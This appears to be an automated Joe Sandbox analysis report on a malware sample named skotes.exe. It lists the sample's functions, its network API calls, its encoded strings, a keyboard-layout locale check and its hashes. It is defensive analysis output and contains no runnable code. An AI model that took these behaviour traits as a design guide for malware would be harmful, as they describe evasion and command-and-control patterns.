Opcode ID: 19f7a7a21903f1dc7911a0aaf166938d5356d0a0adec0e58450fcd97b977043b
Instruction ID: a36c0746b8e21d2d36d23e2678a3c2ba9b74099c8b24cf147146636d5ad8c018
Opcode Fuzzy Hash: 19f7a7a21903f1dc7911a0aaf166938d5356d0a0adec0e58450fcd97b977043b
Instruction Fuzzy Hash: F88108F390C204AFE3096E6DEC8666AF7D5EB94320F15453DEAC5C3784EA715C108697

Analysis Process: skotes.exePID: 7720, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.3%
Total number of Nodes:	1839
Total number of Limit Nodes:	5

Executed Functions

Function 00FEBE30 Relevance: 21.3, APIs: 6, Strings: 6, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC), ref: 00FEBEB8
InternetOpenW.WININET(01038DC8,00000000,00000000,00000000,00000000), ref: 00FEBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00FEBEEC
HttpOpenRequestA.WININET(?,00000000), ref: 00FEBF36
HttpSendRequestA.WININET(?,00000000), ref: 00FEBFF5
InternetReadFile.WININET(?,?,000003FF,?), ref: 00FEC0A8
InternetCloseHandle.WININET(?), ref: 00FEC187
InternetCloseHandle.WININET(?), ref: 00FEC18F
InternetCloseHandle.WININET(?), ref: 00FEC197

Strings

RE1NXF==, xrefs: 00FEBF0E
stoi argument out of range, xrefs: 00FEE4EA
8HJUeMD Lq5=, xrefs: 00FEC465
RmNn, xrefs: 00FED606
8HJUeIfzLo==, xrefs: 00FEC3CB, 00FEC623
invalid stoi argument, xrefs: 00FEE4F4

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$RmNn$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-2254971868
Opcode ID: becb633c7b6cd1372ae5bbc63e778f8d3b02cdd84df536acd2b2b058fd88060d
Instruction ID: 8a86570df5bb08db18fed5ca379c17740817afa31ebcddfa6323bd2bcc0f608d
Opcode Fuzzy Hash: becb633c7b6cd1372ae5bbc63e778f8d3b02cdd84df536acd2b2b058fd88060d
Instruction Fuzzy Hash: C6B114B1A001589FDB28DF29CC84BEEBB75EF41304F5081A9F60897292DB759AC1DF94

Function 00FE65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00FE6680

Strings

ISNmfV==, xrefs: 00FE67D1
GSTmfV==, xrefs: 00FE6728
RySfdMLx, xrefs: 00FE669C

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: abd0902efde03ff358fbdf3c833a18329c0d976970f2aeee9a2755c5ce4a8da0
Instruction ID: 521701866eafecb393f9efee5383ea63f1309d973bea3a3bf5fb1f93c02fff12
Opcode Fuzzy Hash: abd0902efde03ff358fbdf3c833a18329c0d976970f2aeee9a2755c5ce4a8da0
Instruction Fuzzy Hash: 3691C0B1A0015C9BDB28DB28CC85BEDB779EF45304F4045E9E609D7292DA359BC48FA4

Function 00FFD3E2 Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00FE24BE

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: b962105cd867432709e6fe1550b6539edb9b417718238621a2c03837bbe80fd8
Instruction ID: 522690c87c91f3fbb4cc172ca9668f80025d0f49b809b6a3c95ee3f91749557e
Opcode Fuzzy Hash: b962105cd867432709e6fe1550b6539edb9b417718238621a2c03837bbe80fd8
Instruction Fuzzy Hash: 7D51B0B6E0020ACBDB25CF58D9C47A9B7F2FF44324F24846AE645EB294D339A940CB50

Function 00FF3640 Relevance: 51.5, APIs: 1, Strings: 28, Instructions: 761
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00FF434F

Part of subcall function 00FF7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00FF7AEC
Part of subcall function 00FF7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00FF7AF8
Part of subcall function 00FF7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00FF7B01

Strings

246122658369, xrefs: 00FF1F95, 00FF28DE, 00FF2B33, 00FF2BA0, 00FF2F78, 00FF3463, 00FF34C4, 00FF502A, 00FF503D, 00FF507F, 00FF5089, 00FF5684
V2Te, xrefs: 00FF3EB0
8WI0, xrefs: 00FF5692
stoi argument out of range, xrefs: 00FF2EF2, 00FF4359, 00FF43A0, 00FF4F9C
WGpm, xrefs: 00FF3CC9
aWW0, xrefs: 00FF555C
invalid stoi argument, xrefs: 00FF1ED0, 00FF2ED9, 00FF2EE8, 00FF434A, 00FF4F8D
2I0, xrefs: 00FF5627
MGI+, xrefs: 00FF48AD, 00FF49DC, 00FF4BCC, 00FF4CFB
Fw==, xrefs: 00FF378E, 00FF4E1D
anE0, xrefs: 00FF566B
Hykl, xrefs: 00FF387F
93E0, xrefs: 00FF5600
WGS0, xrefs: 00FF5533
WX f, xrefs: 00FF3BDE
9250, xrefs: 00FF54AD
5120, xrefs: 00FF3BAF, 00FF3C9A
Vmc0, xrefs: 00FF55D7
", xrefs: 00FF3F89
MGE+, xrefs: 00FF4866, 00FF48DD, 00FF4B85, 00FF4BFC
9c9aa5, xrefs: 00FF5619
VXQ0, xrefs: 00FF550A
9HQ0, xrefs: 00FF54E1
KCWUOl==, xrefs: 00FF5649
3I3eB==, xrefs: 00FF4802
GE0, xrefs: 00FF5585
VXA0, xrefs: 00FF55AE
jS=, xrefs: 00FF6513

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$"$246122658369$5120$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$Hykl$KCWUOl==$MGE+$MGI+$V2Te$VXA0$VXQ0$Vmc0$WGS0$WGpm$WX f$aWW0$anE0$invalid stoi argument$stoi argument out of range
API String ID: 4234742559-385961153
Opcode ID: c6a4935460d62167d19091da53fc547fb1beb68dfc3c6272faed3d5cb351368f
Instruction ID: d1d0de2b22aa143577d25090750714ff79200b7be4f616e9e6acfbdf29510a55
Opcode Fuzzy Hash: c6a4935460d62167d19091da53fc547fb1beb68dfc3c6272faed3d5cb351368f
Instruction Fuzzy Hash: 1D523671A0024C9BDF14EF78CC867AEBBB5AF45300F50418CE545A73A6DB399B84DB92

Function 00FF47B0 Relevance: 35.5, APIs: 1, Strings: 21, Instructions: 2516COMMON

Download Yara Rule

APIs

Part of subcall function 00FF7A00: __Cnd_unregister_at_thread_exit.LIBCPMT ref: 00FF7AEC
Part of subcall function 00FF7A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00FF7AF8
Part of subcall function 00FF7A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00FF7B01

Part of subcall function 00FEBE30: Sleep.KERNEL32(000005DC), ref: 00FEBEB8
Part of subcall function 00FEBE30: InternetOpenW.WININET(01038DC8,00000000,00000000,00000000,00000000), ref: 00FEBEC8
Part of subcall function 00FEBE30: InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00FEBEEC
Part of subcall function 00FEBE30: HttpOpenRequestA.WININET(?,00000000), ref: 00FEBF36

std::_Xinvalid_argument.LIBCPMT ref: 00FF4F92

Strings

246122658369, xrefs: 00FF502A, 00FF503D, 00FF507F, 00FF5089, 00FF5684
9250, xrefs: 00FF54AD
8WI0, xrefs: 00FF5692
stoi argument out of range, xrefs: 00FF4359, 00FF43A0, 00FF4F9C
Vmc0, xrefs: 00FF55D7
aWW0, xrefs: 00FF555C
2I0, xrefs: 00FF5627
MGE+, xrefs: 00FF4866, 00FF48DD, 00FF4B85, 00FF4BFC
MGI+, xrefs: 00FF48AD, 00FF49DC, 00FF4BCC, 00FF4CFB
9c9aa5, xrefs: 00FF5619
Fw==, xrefs: 00FF378E, 00FF4E1D
VXQ0, xrefs: 00FF550A
anE0, xrefs: 00FF566B
9HQ0, xrefs: 00FF54E1
KCWUOl==, xrefs: 00FF5649
3I3eB==, xrefs: 00FF4802
GE0, xrefs: 00FF5585
VXA0, xrefs: 00FF55AE
93E0, xrefs: 00FF5600
jS=, xrefs: 00FF6513, 00FF67E2
WGS0, xrefs: 00FF5533

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: InternetOpen$Cnd_destroy_in_situCnd_unregister_at_thread_exitConnectHttpMtx_destroy_in_situRequestSleepXinvalid_argumentstd::_
String ID: 2I0$ 3I3eB==$ GE0$ jS=$246122658369$8WI0$9250$93E0$9HQ0$9c9aa5$Fw==$KCWUOl==$MGE+$MGI+$VXA0$VXQ0$Vmc0$WGS0$aWW0$anE0$stoi argument out of range
API String ID: 4201286991-1982281295
Opcode ID: 77060c0a66470625c4dd3de5359f9be45d1b363266346d1273227999cabcde9a
Instruction ID: cea5e2af533dd57525a1b07e46da6a273405cf93907e7cff3036e18660e0b256
Opcode Fuzzy Hash: 77060c0a66470625c4dd3de5359f9be45d1b363266346d1273227999cabcde9a
Instruction Fuzzy Hash: D2235670A002588BDB19DB28CD897ADBB76AF81304F5481DCE148AB2E6DB395FC4DF51

Function 00FF2F10 Relevance: 21.9, APIs: 1, Strings: 11, Instructions: 910
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

246122658369, xrefs: 00FF2F78
V2Te, xrefs: 00FF3EB0
5120, xrefs: 00FF3BAF, 00FF3C9A
Fw==, xrefs: 00FF378E
WGpm, xrefs: 00FF3CC9
stoi argument out of range, xrefs: 00FF4359
Hykl, xrefs: 00FF387F
", xrefs: 00FF3F89
WTw=, xrefs: 00FF2F5E
invalid stoi argument, xrefs: 00FF434A
WX f, xrefs: 00FF3BDE

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: c7d392d537c3006a93795f36793aa1057c3a2d10c8a11d1bbe553ff434a96e88
Instruction ID: 57868f262dd0b6fff288c8d19ac01fc99a1c65f8b64460c29e71742b615d22f3
Opcode Fuzzy Hash: c7d392d537c3006a93795f36793aa1057c3a2d10c8a11d1bbe553ff434a96e88
Instruction Fuzzy Hash: BA725771A0024C9BDF18EF78CC867AEBBB5AF45300F50418CE504A73A6D7399B84DB92

Function 00FE5EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00FE5F13

Strings

00000419, xrefs: 00FE6098
00000422, xrefs: 00FE60C9
00000423, xrefs: 00FE60FA
Keyboard Layout\Preload, xrefs: 00FE6054
0000043f, xrefs: 00FE612B

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: aea472d0b0775b21a6c71eced8f2cf0afbaa9fffd1f2fa104307ddd855cc8744
Instruction ID: 6b1969ace9b520bbbc8594fe9e5ecc51b0c8c4b3d3a137d41a05e32ba5c4de28
Opcode Fuzzy Hash: aea472d0b0775b21a6c71eced8f2cf0afbaa9fffd1f2fa104307ddd855cc8744
Instruction Fuzzy Hash: 37D1CF71A0025C9BDB24DF24CC88BEEB779AF15340F5442D8F508EB291DB749BA49F94

Function 00FE7D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00FE7ED3

Strings

JjsrPl==, xrefs: 00FE828A
JjsrQV==, xrefs: 00FE8092
JjssOl==, xrefs: 00FE813A
JjssPV==, xrefs: 00FE81E2

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 4ebc7c6598e8c548cd2ff019296955fdad1e93107222a166909c1071a65ea9b2
Instruction ID: 99755f90fe312feb302e37d59ae38cb7720aa3a4f7252987428efda8970ed6d1
Opcode Fuzzy Hash: 4ebc7c6598e8c548cd2ff019296955fdad1e93107222a166909c1071a65ea9b2
Instruction Fuzzy Hash: DCE14AB1F002849BCF24BB29DD4B3AD7B71AB41724F90029CE4596B3C6DB394E8197C2

Function 00FE8380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00FE8524

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: d570d8cd644bfa0dc4b24874c9114164519d310a3ce8130dd7e5cd4c3e15cb31
Instruction ID: 38c4cee91f1fc3204ec80a4591ebced3f9463e2e730a3220cbf3c634286b1a41
Opcode Fuzzy Hash: d570d8cd644bfa0dc4b24874c9114164519d310a3ce8130dd7e5cd4c3e15cb31
Instruction Fuzzy Hash: 73514871D003989BDB24FB29CD897EDB775EF45320F5042A8E809A72C1EF359E809B91

Function 0101B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,E13E24BE,?,?,00FFD3FC,E13E24BE,?,00FF7A8B,?,?,?,?,?,?,00FE7465,?), ref: 0101B07E

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335074148.0000000001042000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3335843575.0000000001049000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.000000000104B000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000011D6000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012BB000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012E8000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012EF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3336042883.00000000012FF000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3339466972.0000000001300000.00000080.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341724095.00000000014A3000.00000040.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.3341969558.00000000014A5000.00000080.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_fe0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 93fa8fb6cb34051cdc2588f7f83aeaf316b8cbb79d8f03984c4e41ebff40759d
Instruction ID: 9e0e581f3d5f31c4b60c19119f890f91a46fd5f8608947e9424b2c10691a4b10
Opcode Fuzzy Hash: 93fa8fb6cb34051cdc2588f7f83aeaf316b8cbb79d8f03984c4e41ebff40759d
Instruction Fuzzy Hash: 2CE09B7554121656E77332794D40BAFBAE8DF423F0F051251FEE496198EF6DD900C1E1

Function 00FF6C70 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00FF6CF5

Memory Dump Source

Source File: 00000008.00000002.3335074148.0000000000FE1000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00FE0000, based on PE: true

Associated: 00000008.00000002.3334746880.0000000000FE0000.00000004.00000001.01000000.0000000D.sdmpDownload File
